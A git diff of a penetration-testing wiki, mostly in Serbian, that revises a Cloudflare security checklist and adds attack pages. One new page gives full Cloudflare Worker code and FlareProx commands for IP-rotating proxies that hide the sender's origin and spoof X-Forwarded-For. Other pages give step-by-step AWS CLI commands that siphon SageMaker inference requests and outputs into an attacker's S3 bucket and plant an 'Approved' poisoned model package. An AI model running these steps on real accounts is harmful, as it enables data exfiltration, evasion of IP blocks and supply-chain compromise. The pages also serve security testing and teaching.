diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index fe342a95f..287b8f944 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -U Cloudflare nalogu postoje neka **opšta podešavanja i usluge** koja se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:** +U Cloudflare nalogu postoje neka **opšta podešavanja i servisi** koji se mogu konfigurisati. Na ovoj stranici analiziraćemo **bezbednosna podešavanja svakog odeljka:**
-## Websites +## Vebsajtovi -Pregledajte svako sa: +Proverite svaki pomoću: {{#ref}} cloudflare-domains.md {{#endref}} -### Domain Registration +### Registracija domena -- [ ] U **`Transfer Domains`** proverite da li nije moguće preneti bilo koji domen. +- [ ] U **`Transfer Domains`** proverite da nije moguće transferovati nijedan domen. -Pregledajte svako sa: +Proverite svaki pomoću: {{#ref}} cloudflare-domains.md @@ -26,33 +26,39 @@ cloudflare-domains.md ## Analytics -_Nisam mogao pronaći ništa za proveru bezbednosti konfiguracije._ +_Nisam našao ništa što treba proveriti pri bezbednosnom pregledu konfiguracije._ ## Pages -Na svakoj Cloudflare stranici: +Na svakoj Cloudflare Pages stranici: -- [ ] Proverite za **osetljive informacije** u **`Build log`**. -- [ ] Proverite za **osetljive informacije** u **Github repozitorijumu** dodeljenom stranicama. -- [ ] Proverite za potencijalno kompromitovanje github repozitorijuma putem **workflow command injection** ili `pull_request_target` kompromitovanja. Više informacija na [**Github Security page**](../github-security/). -- [ ] Proverite za **ranjive funkcije** u direktorijumu `/fuctions` (ako ih ima), proverite **preusmeravanja** u datoteci `_redirects` (ako ih ima) i **pogrešno konfigurisane zaglavlja** u datoteci `_headers` (ako ih ima). -- [ ] Proverite za **ranjivosti** na **web stranici** putem **blackbox** ili **whitebox** ako možete **pristupiti kodu** -- [ ] U detaljima svake stranice `//pages/view/blocklist/settings/functions`. Proverite za **osetljive informacije** u **`Environment variables`**. -- [ ] U detaljima stranice proverite takođe **build command** i **root directory** za **potencijalne injekcije** koje bi mogle kompromitovati stranicu. +- [ ] Proverite prisustvo **osetljivih informacija** u **`Build log`**. +- [ ] Proverite **osetljive informacije** u Github repository-ju dodeljenom Pages-u. +- [ ] Proverite potencijalno kompromitovanje github repo-a putem **workflow command injection** ili kompromisa `pull_request_target`. Više informacija na [**Github Security page**](../github-security/index.html). +- [ ] Proverite ranjive funkcije u `/fuctions` direktorijumu (ako postoji), proverite **redirects** u `_redirects` fajlu (ako postoji) i **pogrešno konfigurisane headers** u `_headers` fajlu (ako postoji). +- [ ] Proverite **ranjivosti** na web stranici koristeći **blackbox** ili **whitebox** testiranje ako imate pristup kodu. +- [ ] U detaljima svake stranice `//pages/view/blocklist/settings/functions`. Proverite **osetljive informacije** u **`Environment variables`**. +- [ ] U detaljima stranice proverite takođe **build command** i **root directory** zbog **potencijalnih injekcija** koje bi kompromitovale stranicu. ## **Workers** -Na svakom Cloudflare radniku proverite: +Na svakom Cloudflare Worker-u proverite: -- [ ] Okidače: Šta pokreće radnika? Može li **korisnik poslati podatke** koji će biti **korišćeni** od strane radnika? -- [ ] U **`Settings`**, proverite za **`Variables`** koje sadrže **osetljive informacije** -- [ ] Proverite **kod radnika** i tražite **ranjivosti** (posebno na mestima gde korisnik može upravljati unosom) -- Proverite za SSRFs koji vraćaju označenu stranicu koju možete kontrolisati -- Proverite XSS koji izvršavaju JS unutar svg slike -- Moguće je da radnik komunicira sa drugim internim uslugama. Na primer, radnik može komunicirati sa R2 bucket-om koji čuva informacije dobijene iz unosa. U tom slučaju, potrebno je proveriti koje mogućnosti radnik ima nad R2 bucket-om i kako bi to moglo biti zloupotrebljeno iz korisničkog unosa. +- [ ] Triggere: Šta pokreće worker? Može li korisnik poslati podatke koji će biti **upotrebljeni** od strane workera? +- [ ] U **`Settings`**, proverite `Variables` koji sadrže **osetljive informacije** +- [ ] Proverite **kod workera** i tražite **ranjivosti** (posebno na mestima gde korisnik može kontrolisati input) +- Proverite SSRF-ove koji vraćaju navedenu stranicu koju možete kontrolisati +- Proverite XSS-ove koji izvršavaju JS unutar svg slike +- Moguće je da worker interaguje sa drugim internim servisima. Na primer, worker može komunicirati sa R2 bucket-om koji u njega smešta informacije dobijene iz inputa. U tom slučaju potrebno je proveriti koje mogućnosti worker ima nad R2 bucket-om i kako bi one mogle biti zloupotrebljene iz korisničkog inputa. > [!WARNING] -> Imajte na umu da po defaultu **Radniku se dodeljuje URL** kao što je `..workers.dev`. Korisnik može postaviti na **subdomen** ali uvek možete pristupiti sa tim **originalnim URL-om** ako ga znate. +> Imajte u vidu da je po defaultu **Worker dobija URL** kao što je `..workers.dev`. Korisnik može postaviti poddomen ali uvek mu možete pristupiti preko tog **original URL-a** ako ga znate. + +Za praktičnu zloupotrebu Workers kao pass-through proxy-a (IP rotation, FireProx-style), pogledajte: + +{{#ref}} +cloudflare-workers-pass-through-proxy-ip-rotation.md +{{#endref}} ## R2 @@ -70,8 +76,8 @@ TODO ## Security Center -- [ ] Ako je moguće, pokrenite **`Security Insights`** **skaniranje** i **`Infrastructure`** **skaniranje**, jer će **istaknuti** zanimljive informacije **vezane za sigurnost**. -- [ ] Samo **proverite ove informacije** za bezbednosne pogrešne konfiguracije i zanimljive informacije +- [ ] Ako je moguće, pokrenite **`Security Insights`** scan i **`Infrastructure`** scan, jer će oni **istaknuti** interesantne informacije sa aspekta bezbednosti. +- [ ] Jednostavno **proverite te informacije** radi bezbednosnih pogrešnih konfiguracija i interesantnih podataka ## Turnstile @@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Za razliku od [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) su suštinski statični — ne podržavaju **nikakve operacije zamene stringova** ili regularne izraze. Međutim, možete konfigurisati parametre URL preusmeravanja koji utiču na njihovo ponašanje u vezi sa usklađivanjem URL-a i njihovim ponašanjem tokom izvršavanja. +> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. -- [ ] Proverite da **izrazi** i **zahtevi** za preusmeravanja **ima smisla**. -- [ ] Proverite takođe za **osetljive skrivene krajnje tačke** koje sadrže zanimljive informacije. +- [ ] Proverite da li **expressions** i **requirements** za redirect-e **imaju smisla**. +- [ ] Proverite takođe **osetljive skrivene endpoint-e** koji mogu sadržati interesantne informacije. ## Notifications -- [ ] Proverite **obaveštenja.** Ova obaveštenja se preporučuju za bezbednost: +- [ ] Proverite **notifications.** Sledeće notifikacije su preporučene za bezbednost: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Proverite sve **odredišne tačke**, jer može biti **osetljivih informacija** (osnovna http autentifikacija) u webhook URL-ovima. Takođe se pobrinite da webhook URL-ovi koriste **HTTPS** -- [ ] Kao dodatnu proveru, mogli biste pokušati da **imitirate Cloudflare obaveštenje** trećoj strani, možda možete nekako **ubaciti nešto opasno** +- [ ] Proverite sve **destinacije**, jer u webhook URL-ovima može biti **osetljivih informacija** (basic http auth). Takođe se uverite da webhook URL-ovi koriste **HTTPS** +- [ ] Kao dodatnu proveru, možete pokušati **imitirati cloudflare notifikaciju** trećoj strani — možda možete nekako **inject-ovati nešto opasno** ## Manage Account -- [ ] Moguće je videti **poslednje 4 cifre kreditne kartice**, **datum isteka** i **adresu za naplatu** u **`Billing` -> `Payment info`**. -- [ ] Moguće je videti **tip plana** koji se koristi u nalogu u **`Billing` -> `Subscriptions`**. -- [ ] U **`Members`** moguće je videti sve članove naloga i njihovu **ulogu**. Imajte na umu da ako tip plana nije Enterprise, postoje samo 2 uloge: Administrator i Super Administrator. Ali ako je korišćen **plan Enterprise**, [**više uloga**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) može se koristiti da se prati princip minimalnih privilegija. -- Stoga, kada god je to moguće, **preporučuje se** korišćenje **Enterprise plana**. -- [ ] U članovima je moguće proveriti koji **članovi** imaju **2FA omogućeno**. **Svaki** korisnik bi trebao imati omogućeno. +- [ ] Moguće je videti **poslednje 4 cifre platne kartice**, **datum isteka** i **billing address** u **`Billing` -> `Payment info`**. +- [ ] Moguće je videti **tip plana** koji se koristi na nalogu u **`Billing` -> `Subscriptions`**. +- [ ] U **`Members`** moguće je videti sve članove naloga i njihove **role**. Imajte u vidu da ako plan nije Enterprise, postoje samo 2 role: Administrator i Super Administrator. Ali ako je korišćen **plan Enterprise**, mogu se koristiti [**više role**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kako bi se primenio princip najmanjih privilegija. +- Zbog toga se, kad god je moguće, **preporučuje** korišćenje **Enterprise plana**. +- [ ] U Members možete proveriti koji **members** imaju omogućen **2FA**. **Svaki** korisnik bi trebalo da ima 2FA uključen. > [!NOTE] -> Imajte na umu da srećom uloga **`Administrator`** ne daje dozvole za upravljanje članstvima (**ne može povećati privilegije ili pozvati** nove članove) +> Napomena: na sreću, rola **`Administrator`** ne daje dozvole za upravljanje članstvima (**ne može da eskalira privilegije niti da poziva** nove članove) ## DDoS Investigation -[Proverite ovaj deo](cloudflare-domains.md#cloudflare-ddos-protection). +[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md new file mode 100644 index 000000000..0b18868ca --- /dev/null +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -0,0 +1,286 @@ +# Zloupotreba Cloudflare Workers kao pass-through proxies (IP rotation, FireProx-style) + +{{#include ../../banners/hacktricks-training.md}} + +Cloudflare Workers se mogu postaviti kao transparentni HTTP pass-through proxies gde upstream target URL obezbeđuje klijent. Zahtevi izlaze iz Cloudflare mreže pa cilj vidi Cloudflare IP adrese umesto klijentovih. Ovo odražava dobro poznatu FireProx tehniku na AWS API Gateway, ali koristi Cloudflare Workers. + +### Ključne mogućnosti +- Podrška za sve HTTP metode (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- Target može biti prosleđen preko query parametra (?url=...), headera (X-Target-URL), ili čak enkodiran u putanji (npr. /https://target) +- Headers i body se proxiraju kroz uz hop-by-hop/header filtriranje po potrebi +- Odgovori se prosleđuju nazad, zadržavajući status code i većinu headers +- Opcionalno spoofovanje X-Forwarded-For (ako Worker postavi vrednost iz user-controlled headera) +- Veoma brzo/jednostavno rotation deploy-ovanjem više Worker endpointa i fan-outom zahteva + +### Kako radi (flow) +1) Klijent šalje HTTP zahtev na Worker URL (`..workers.dev` ili prilagođenu domensku rutu). +2) Worker izvlači target iz query parametra (?url=...), X-Target-URL headera, ili segmenta putanje ako je tako implementirano. +3) Worker prosleđuje dolaznu metodu, headers i body na specificirani upstream URL (filtrirajući problematične headers). +4) Odgovor iz upstream-a se stream-uje nazad ka klijentu preko Cloudflare; origin vidi Cloudflare izlazne IP adrese. + +### Primer implementacije Workera +- Čita target URL iz query parametra, headera, ili putanje +- Kopira bezbedan podskup headers i prosleđuje originalnu metodu/body +- Opcionalno postavlja X-Forwarded-For koristeći user-controlled header (X-My-X-Forwarded-For) ili nasumičnu IP adresu +- Dodaje permisivan CORS i obrađuje preflight + +
+Primer Worker-a (JavaScript) za pass-through proxying +```javascript +/** +* Minimal Worker pass-through proxy +* - Target URL from ?url=, X-Target-URL, or /https://... +* - Proxies method/headers/body to upstream; relays response +*/ +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) + +async function handleRequest(request) { +try { +const url = new URL(request.url) +const targetUrl = getTargetUrl(url, request.headers) + +if (!targetUrl) { +return errorJSON('No target URL specified', 400, { +usage: { +query_param: '?url=https://example.com', +header: 'X-Target-URL: https://example.com', +path: '/https://example.com' +} +}) +} + +let target +try { target = new URL(targetUrl) } catch (e) { +return errorJSON('Invalid target URL', 400, { provided: targetUrl }) +} + +// Forward original query params except control ones +const passthru = new URLSearchParams() +for (const [k, v] of url.searchParams) { +if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v) +} +if (passthru.toString()) target.search = passthru.toString() + +// Build proxied request +const proxyReq = buildProxyRequest(request, target) +const upstream = await fetch(proxyReq) + +return buildProxyResponse(upstream, request.method) +} catch (error) { +return errorJSON('Proxy request failed', 500, { +message: error.message, +timestamp: new Date().toISOString() +}) +} +} + +function getTargetUrl(url, headers) { +let t = url.searchParams.get('url') || headers.get('X-Target-URL') +if (!t && url.pathname !== '/') { +const p = url.pathname.slice(1) +if (p.startsWith('http')) t = p +} +return t +} + +function buildProxyRequest(request, target) { +const h = new Headers() +const allow = [ +'accept','accept-language','accept-encoding','authorization', +'cache-control','content-type','origin','referer','user-agent' +] +for (const [k, v] of request.headers) { +if (allow.includes(k.toLowerCase())) h.set(k, v) +} +h.set('Host', target.hostname) + +// Optional: spoof X-Forwarded-For if provided +const spoof = request.headers.get('X-My-X-Forwarded-For') +h.set('X-Forwarded-For', spoof || randomIP()) + +return new Request(target.toString(), { +method: request.method, +headers: h, +body: ['GET','HEAD'].includes(request.method) ? null : request.body +}) +} + +function buildProxyResponse(resp, method) { +const h = new Headers() +for (const [k, v] of resp.headers) { +if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) { +h.set(k, v) +} +} +// Permissive CORS for tooling convenience +h.set('Access-Control-Allow-Origin', '*') +h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD') +h.set('Access-Control-Allow-Headers', '*') + +if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h }) +return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h }) +} + +function errorJSON(msg, status=400, extra={}) { +return new Response(JSON.stringify({ error: msg, ...extra }), { +status, headers: { 'Content-Type': 'application/json' } +}) +} + +function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') } +``` +
+ +### Automatizacija raspoređivanja i rotacije sa FlareProx + +FlareProx je Python alat koji koristi Cloudflare API za raspoređivanje više Worker endpoints i rotiranje među njima. Ovo obezbeđuje FireProx-like IP rotation iz Cloudflare mreže. + +Setup +1) Kreirajte Cloudflare API Token koristeći šablon “Edit Cloudflare Workers” i preuzmite vaš Account ID sa dashboard-a. +2) Konfigurišite FlareProx: +```bash +git clone https://github.com/MrTurvey/flareprox +cd flareprox +pip install -r requirements.txt +``` +**Kreirajte konfiguracioni fajl flareprox.json:** +```json +{ +"cloudflare": { +"api_token": "your_cloudflare_api_token", +"account_id": "your_cloudflare_account_id" +} +} +``` +**Korišćenje CLI-a** + +- Kreiraj N Worker proxies: +```bash +python3 flareprox.py create --count 2 +``` +- Navedite endpoints: +```bash +python3 flareprox.py list +``` +- Endpointi za proveru zdravlja: +```bash +python3 flareprox.py test +``` +- Obriši sve endpoints: +```bash +python3 flareprox.py cleanup +``` +**Usmeravanje saobraćaja kroz Worker** +- Oblik query parametara: +```bash +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" +``` +- Oblik zaglavlja: +```bash +curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev +``` +- Oblik putanje (ako je implementirano): +```bash +curl https://your-worker.account.workers.dev/https://httpbin.org/ip +``` +- Primeri metoda: +```bash +# GET +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get" + +# POST (form) +curl -X POST -d "username=admin" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/post" + +# PUT (JSON) +curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/put" + +# DELETE +curl -X DELETE \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/delete" +``` +**`X-Forwarded-For` kontrola** + +Ako Worker poštuje `X-My-X-Forwarded-For`, možete uticati na upstream vrednost `X-Forwarded-For`: +```bash +curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/headers" +``` +**Programatsko korišćenje** + +Koristite FlareProx biblioteku za kreiranje/listanje/testiranje endpoints i preusmeravanje zahteva iz Pythona. + +
+Primer u Pythonu: Pošaljite POST preko slučajnog Worker endpoint-a +```python +#!/usr/bin/env python3 +from flareprox import FlareProx, FlareProxError +import json + +# Initialize +flareprox = FlareProx(config_file="flareprox.json") +if not flareprox.is_configured: +print("FlareProx not configured. Run: python3 flareprox.py config") +exit(1) + +# Ensure endpoints exist +endpoints = flareprox.sync_endpoints() +if not endpoints: +print("Creating proxy endpoints...") +flareprox.create_proxies(count=2) + +# Make a POST request through a random endpoint +try: +post_data = json.dumps({ +"username": "testuser", +"message": "Hello from FlareProx!", +"timestamp": "2025-01-01T12:00:00Z" +}) + +headers = { +"Content-Type": "application/json", +"User-Agent": "FlareProx-Client/1.0" +} + +response = flareprox.redirect_request( +target_url="https://httpbin.org/post", +method="POST", +headers=headers, +data=post_data +) + +if response.status_code == 200: +result = response.json() +print("✓ POST successful via FlareProx") +print(f"Origin IP: {result.get('origin', 'unknown')}") +print(f"Posted data: {result.get('json', {})}") +else: +print(f"Request failed with status: {response.status_code}") + +except FlareProxError as e: +print(f"FlareProx error: {e}") +except Exception as e: +print(f"Request error: {e}") +``` +
+ +**Burp/Scanner integracija** +- Usmerite alatke (na primer, Burp Suite) na Worker URL. +- Obezbedite stvarni upstream koristeći ?url= ili X-Target-URL. +- HTTP semantika (metode/zaglavlja/telo) se zadržava dok maskirate svoj izvorni IP iza Cloudflare-a. + +**Operativne napomene i ograničenja** +- Cloudflare Workers Free plan omogućava otprilike 100.000 zahteva/dan po nalogu; koristite više endpointa da raspodelite saobraćaj po potrebi. +- Workers se izvršavaju na mreži Cloudflare-a; mnogi ciljevi će videti samo Cloudflare IP-ove/ASN, što može zaobići naivne liste dozvoljenih/blokiranih IP-a ili geo heuristike. +- Koristite odgovorno i samo uz autorizaciju. Poštujte ToS i robots.txt. + +## References +- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) +- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/) +- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/) +- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index 433da4e9f..21fa9ad68 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig +## SageMaker endpoint odliv podataka preko UpdateEndpoint DataCaptureConfig -Iskoristite upravljanje SageMaker endpoint-om da omogućite potpuno snimanje zahteva i odgovora u S3 bucket koji kontroliše napadač, bez diranja modela ili container-a. Koristi zero/low‑downtime rolling update i zahteva samo dozvole za upravljanje endpoint-om. +Iskoristite SageMaker endpoint management da omogućite potpuni snimak zahteva/odgovora u attacker‑controlled S3 bucket bez diranja modela ili container‑a. Koristi zero/low‑downtime rolling update i zahteva samo endpoint management permissions. -### Zahtevi +### Requirements - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` - S3: `s3:CreateBucket` (ili koristite postojeći bucket u istom nalogu) -- Opcionalno (ako se koristi SSE‑KMS): `kms:Encrypt` na odabranom CMK -- Cilj: Postojeći InService real‑time endpoint u istom nalogu/regiji +- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK +- Target: An existing InService real‑time endpoint in the same account/region -### Koraci -1) Identifikujte InService endpoint i prikupite trenutne produkcione varijante +### Steps +1) Identifikujte InService endpoint i prikupite trenutne varijante u produkciji ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -22,7 +22,7 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Pripremite attacker S3 destinaciju za captures +2) Pripremite attacker S3 destinaciju za snimke ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) @@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION ``` 3) Kreirajte novi EndpointConfig koji zadržava iste varijante, ali omogućava DataCapture u attacker bucket -Napomena: Koristite eksplicitne content-type vrednosti koje zadovoljavaju CLI validaciju. +Napomena: Koristite eksplicitne tipove sadržaja koji zadovoljavaju CLI validaciju. ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,35 +54,35 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja) +4) Primeni novi config pomoću rolling update (minimal/no downtime) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) Generišite najmanje jedan poziv za inferencu (opciono ako postoji saobraćaj uživo) +5) Generišite najmanje jedan poziv за inferencu (opciono ако већ постоји live саобраћај) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) Potvrdite captures u attacker S3 +6) Validirajte snimke u napadačevom S3 ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` ### Uticaj -- Potpuna exfiltration real‑time inference request i response payload‑ova (i metapodataka) sa ciljanog endpointa u S3 bucket pod kontrolom napadača. -- Nema izmena model/container image‑a i samo izmene na nivou endpointa, što omogućava prikriveni put krađe podataka sa minimalnim operativnim prekidima. +- Potpuna exfiltration real‑time inference request i response payloadova (i metapodataka) sa ciljane endpoint u S3 bucket pod kontrolom napadača. +- Bez izmena modela/slike kontejnera i samo izmene na nivou endpointa, omogućavajući a stealthy data theft path sa minimalnim operativnim ometanjem. ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -Iskoristite upravljanje endpointom da preusmerite izlaze asinkronih inference‑a u S3 bucket pod kontrolom napadača kloniranjem trenutnog EndpointConfig‑a i postavljanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (i sve transformisane inpute koje container uključuje) bez menjanja modela/containera. +Iskoristite upravljanje endpointom da preusmerite asinhrone izlaze inferencije u S3 bucket pod kontrolom napadača tako što ćete klonirati trenutni EndpointConfig i postaviti AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Ovo exfiltrates predikcije modela (i bilo koje transformisane ulaze koje uključuje kontejner) bez izmene modela/slike kontejnera. ### Requirements - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: Sposobnost upisa u S3 bucket pod kontrolom napadača (putem model execution role ili permissive bucket policy) -- Target: An InService endpoint where asynchronous invocations are (or will be) used +- S3: Mogućnost pisanja u S3 bucket pod kontrolom napadača (putem model execution role ili permisivne bucket policy) +- Target: An InService endpoint gde se asinhrone invokacije koriste (ili će se koristiti) ### Steps 1) Gather current ProductionVariants from the target endpoint @@ -92,13 +92,13 @@ EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject u njega) +2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject na njega) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) Kloniraj EndpointConfig i hijack AsyncInference izlaze u attacker bucket +3) Clone EndpointConfig i hijack AsyncInference izlaze u attacker bucket ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) Pokrenite async invocation i proverite da li objects dospevaju u attacker S3 +4) Pokrenite async invocation i proverite da li objekti stignu u attacker S3 ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` ### Uticaj -- Preusmerava rezultate asinhrone inferencije (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/post-obrade koje proizvodi container, bez menjanja model code ili image i uz minimalan/nikakav zastoj. +- Preusmerava rezultate asinhronog inferiranja (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih pre/post-procesiranih ulaza koje proizvodi kontejner, bez menjanja koda ili slike modela i uz minimalno/bez zastoja. -## SageMaker Model Registry injekcija lanca snabdevanja preko CreateModelPackage(Approved) +## SageMaker Model Registry supply-chain injekcija putem CreateModelPackage(Approved) -Ako napadač može CreateModelPackage na ciljanoj SageMaker Model Package Group, može registrovati novu verziju modela koja pokazuje na attacker-controlled container image i odmah je označiti kao Approved. Mnogi CI/CD pipelines automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što rezultira attacker code execution pod execution rolama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy. +Ako napadač može da izvrši CreateModelPackage na ciljanoj SageMaker Model Package Group, može da registruje novu verziju modela koja pokazuje na sliku kontejnera pod kontrolom napadača i odmah je označi kao Approved. Mnogi CI/CD pipeline-i automatski deploy-uju Approved verzije modela na endpoint-e ili training job-ove, što rezultira izvršavanjem koda napadača pod execution rolama servisa. Cross-account izloženost može biti pojačana permisivnom ModelPackageGroup resource policy. ### Zahtevi -- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup -- Opcionalno (za kreiranje grupe ako ne postoji): `sagemaker:CreateModelPackageGroup` -- S3: pristup za čitanje do referenciranog ModelDataUrl (ili host attacker-controlled artifacts) -- Cilj: A Model Package Group koju downstream automation prati za Approved verzije +- IAM (minimum da kompromituje postojeću grupu): `sagemaker:CreateModelPackage` na ciljanoj ModelPackageGroup +- Opcionalno (da kreira grupu ako ne postoji): `sagemaker:CreateModelPackageGroup` +- S3: Read pristup referenciranom ModelDataUrl (ili hostovanje artefakata pod kontrolom napadača) +- Cilj: A Model Package Group koju downstream automatizacija prati za Approved verzije ### Koraci -1) Podesiti region i kreirati/pronaći ciljani Model Package Group +1) Podesiti region i kreirati/pronaći ciljanu Model Package Group ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" ``` -2) Pripremite probne podatke modela u S3 +2) Pripremite lažne podatke za model u S3 ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-mpkg-$ACC-$(date +%s) @@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) Registrujte zlonamerni (ovde bezopasan) Approved model package version koja referencira javni AWS DLC image +3) Registrujte zlonamerni (ovde benigni) Approved model package version koji referencira javnu AWS DLC image ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) Proverite da nova odobrena verzija postoji +4) Proverite da li nova odobrena verzija postoji ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### Uticaj -- Zatrovati Model Registry Approved verzijom koja referencira kod pod 